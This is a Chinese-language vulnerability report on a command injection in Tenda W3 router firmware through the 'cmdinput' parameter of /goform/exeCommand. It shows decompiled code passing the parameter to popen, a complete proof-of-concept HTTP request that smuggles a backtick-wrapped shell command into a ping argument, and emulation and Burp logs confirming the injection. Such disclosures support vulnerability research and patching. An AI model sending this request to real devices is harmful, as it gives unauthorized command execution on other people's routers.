

厂商Tenda

- 产品: w3
- 固件版本: w3 V1.0.0.3(2204)
- 漏洞类型: 命令注入
- 漏洞路径: /goform/exeCommand
- 漏洞类型: 命令注入

观察到这个参数

```
28 ptr = malloc(0x50u);
29 if ( !ptr )
30     return printf(
31         "Error->%s: %s(%d)--malloc failed!\n",
32         "/home/i6_1749/develop/prod/httpd/ap_web/cgi/cmd.c",
33         "formexeCommand",
34         32);
35 memset(ptr, 0, 0x50u);
36 Var = (const char *)websGetVar(a1, (int)"cmdinput", (int)&unk_47DC54);
37 nptr = (char *)websGetVar(a1, (int)"count", (int)"3");
38 v5 = (char *)websGetVar(a1, (int)"size", (int)"56");
39 v4 = (char *)websGetVar(a1, (int)"pro_ver", (int)"4");
40 v3 = (char *)websGetVar(a1, (int)"timeout", (int)"10");
41 vos_strcpy(ptr + 4, Var);
42 ptr[1] = atoi(nptr);
43 ptr[2] = atoi(v5);
44 *ptr = atoi(v4);
45 ptr[3] = atoi(v3);
46 if ( tpi_get_ping_output(ptr, s, 4096) )
47     return printf(
```

发现这里直接将用户输入拼接到popen中形成命令注入

```
v8 = 0;
v9 = 0;
sprintf(
    s,
    "%s -%d -c %d -s %d -W %d",
    (const char *) (a1 + 16),
    *(_DWORD *) a1,
    *(_DWORD *) (a1 + 4),
    *(_DWORD *) (a1 + 8),
    *(_DWORD *) (a1 + 12));
stream = popen(s, "r");
if ( stream )
{
    fread(a2, 1u, a3 - 1, stream);
    pclose(stream);
    return 0;
}
else
{
    printf("Error->%s: %s(%d)--invalid cmd [%s]\n". "tpi svstool.c"
```

POST /goform/exeCommand HTTP/1.1

```
Host: 192.168.0.3

Content-Length: 47

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.0.3

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://192.168.0.3/login.asp

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Connection: close

cmdinput=`echo abcd > 1.txt`ping%20 192.168.0.4
```

```
dev  gdbserver mnt  sbin  usr  webroot_ro
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# cat 1.txt
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# echo good >1.txt
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# cat 1.txt
good
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# chroot . ./bin/sh
# ./bin/httpd

Yes:

***** WeLoveLinux*****

Welcome to ...
connect: No such file or directory
```

io

File Edit View Search Terminal Help

Connect to server failed.
connect: No such file or dir
Connect to server failed.
connect: No such file or dir
Connect to server failed.
connect: No such file or dir
Connect to server failed.
connect: No such file or dir
Connect to server failed.
connect: No such file or dir
httpd -> Bad_Sig_entry [18].
^C
ls
webroot 1.txt
etc_ro sbin
dev var
init tmp
lib webroot_
sys etc
qemu-mipsel-static mnt
cat 1.txt
abcd
#

Done

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn

1 x +

Send Cancel < >

Request

Pretty Raw Hex

1 POST /goform/executeCommand HTTP/1.1

2 Host: 192.168.0.3

3 Content-Length: 47

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://192.168.0.3

7 Content-Type: application/x-www-form-urlencoded

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10 Referer: http://192.168.0.3/login.asp

11 Accept-Encoding: gzip, deflate, br

12 Accept-Language: en-US,en;q=0.9

13 Connection: close

14

15 cmdinput='echo abcd > 1.txt'ping%20 192.168.0.4

Response

Pretty Raw Hex Render

1 HTTP/1.1 200 OK

2 Content-type: text/plain; charset=utf-8

3 Pragma: no-cache

4 Cache-Control: no-cache

5

6

7 PING 192.168.0.4 (192.168.0.4): 56 data bytes

8 64 bytes from 192.168.0.4: seq=0 ttl=64 time=1.082 ms

9 64 bytes from 192.168.0.4: seq=1 ttl=64 time=1.066 ms

10 64 bytes from 192.168.0.4: seq=2 ttl=64 time=1.255 ms

11

12 --- 192.168.0.4 ping statistics ---

13 3 packets transmitted, 3 packets received, 0% packet loss

14 round-trip min/avg/max = 1.066/1.134/1.255 ms

15

Search 0 highlights

Search 0